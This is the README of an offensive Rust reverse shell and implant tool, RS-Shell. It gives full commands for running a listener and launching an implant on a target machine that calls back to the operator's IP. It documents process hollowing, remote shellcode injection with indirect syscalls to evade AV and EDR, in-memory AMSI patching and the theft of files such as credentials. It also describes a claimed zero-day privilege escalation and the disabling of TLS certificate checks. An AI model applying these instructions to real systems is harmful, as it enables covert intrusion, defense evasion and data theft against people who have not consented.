"The worst Rust programmer you have ever seen" - my mom
"But at least it works" - still my mom, but not about me
RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
RS-Shell implements two modes: TLS over TCP and HTTPS.
Windows HTTPS implant is partially proxy aware thanks to the Windows's WinINet library. This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).
Client, implant and server are all cross-platform and work on Windows and Linux systems.
For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
For this purpose, I have chosen to mainly use the official windows_sys crate to interact with the Win32API and the ntapi crate for the NTAPI.
The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.
For the moment, the following features are present:
tcpdump
To perform the indirect syscalls, I use the incredible rust-mordor-rs project initiate by memN0ps. However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports.
By default, only the error
, warn
and info
logs are displayed. If you also need the debug
ones (can be usefull for the loading features), you can change this in main.rs
by modifying ::log::set_max_level(LevelFilter::Info);
to ::log::set_max_level(LevelFilter::Debug);
.
I have set a dummy
domain for hostname validation in the connect()
function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
A new self-signed PKCS12 TLS certificate can be obtained like this:
openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.
Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:
openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'
The project can be compiled with cargo build --release
on Windows or Linux and the binary will be present in target/release/
, or the target name if a target is specified.
To cross-compile for a different target than your current OS you can use, for example, cargo build --release --target x86_64-pc-windows-gnu
. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine:
sudo apt install mingw-w64
rustup target add x86_64-pc-windows-gnu
cargo build --release --target x86_64-pc-windows-gnu
The project compilation has been tested with the following Rust toolchains :
stable-x86_64-pc-windows-gnu
stable-x86_64-pc-windows-msvc
stable-x86_64-unknown-linux-gnu
If you compile the project for a Linux target, the "Windows features" will be removed at compilation. Should run on all Windows and Linux versions (I have hope).
Usage: rs-shell.exe [OPTIONS] --mode <mode> --side <side> --ip <ip>
Options:
-m, --mode <mode> communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
-s, --side <side> launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
-i, --ip <ip> IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
-p, --port <port> port address to bind to for the TCP listener, or to connect to for the implant
--cert-path <cert_path> path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
--cert-pass <cert_pass> password of the TLS PKCS12 certificate for the TCP server
--key-path <key_path> path of the TLS key for the HTTPS server
-h, --help Print help
-V, --version Print version
To obtain a session, just launch the binary in listener mode on your machine with rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password
. For example rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"
.
Then, on the target machine launch the implant to connect back to your server with rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to
. For example rs-shell.exe -s c --ip 192.168.1.10 --port 4545
.
First, launch the binary in server mode on a server that can be reached by both the implant and the client: rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path
. For example rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem
.
Then, execute the implant on the target machine with rs-shell.exe -m https -s i -i IP_to_connect_to
. For example rs-shell.exe -m https -s i -i 192.168.1.40
.
Finally, run the client on your machine to connect to the server and start to interact with the implant with rs-shell.exe -m https -s c -i IP_to_connect_to
. For example rs-shell.exe -m https -s c -i 192.168.1.40
.
> help
[+] Custom integrated commands :
[+] Loading commands
> load C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it. This will kill the reverse shell !
> load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it
> load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it
[+] Loading commands with indirect syscalls
> syscalls C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
> syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
> syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls
[+] Bypass commands
> powpow
start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls
[+] Network commands
> download C:\\file\\to\\download C:\\local\\path
download a file from the remote system
> upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write
upload a file to the remote system
[+] Special commands
> autopwn
escalate to the SYSTEM or root account from any local account by exploiting a zero day
The load
commands permit to load and execute directly in memory:
load
loads and execute a PE in the client memory. This will kill the reverse shell, but that could be usefull to launch a C2 implant in the current process for exampleload -h
loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDRload -s
loads and execute a shellcode from a .bin
file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's diskFor example : > load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe
. This will start a cmd.exe
process with hollowing, load a calc.exe
image in the process memory, and then resume the thread to execute the calc.
On the other hand, the syscalls
commands permit the same things, but everything is performed with indirect syscalls.
powpow
(only available in TCP mode) starts an interactive PowerShell session with a PowerShell process where the AMSI ScanBuffer
function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
download
permits to download a file from the client to the machine where the server is running. For example download C:\Users\Administrator\Desktop\creds.txt ./creds.txt
. In HTTPS mode it is just download C:\Users\Administrator\Desktop\creds.txt
, and the file will be downloaded in the downloads
directory on the server.
upload
permits to upload a file on the client machine. For example upload ./pwn.exe C:\Temp\pwn.exe
. In HTTPS mode it is just upload ./pwn.exe
, and the file will be uploaded in the directory where the implant has been written.
autopwn
permits to escalate to the SYSTEM or root account with a 0day exploitation. Just type autopwn
and answer the question.
This is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything.
Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
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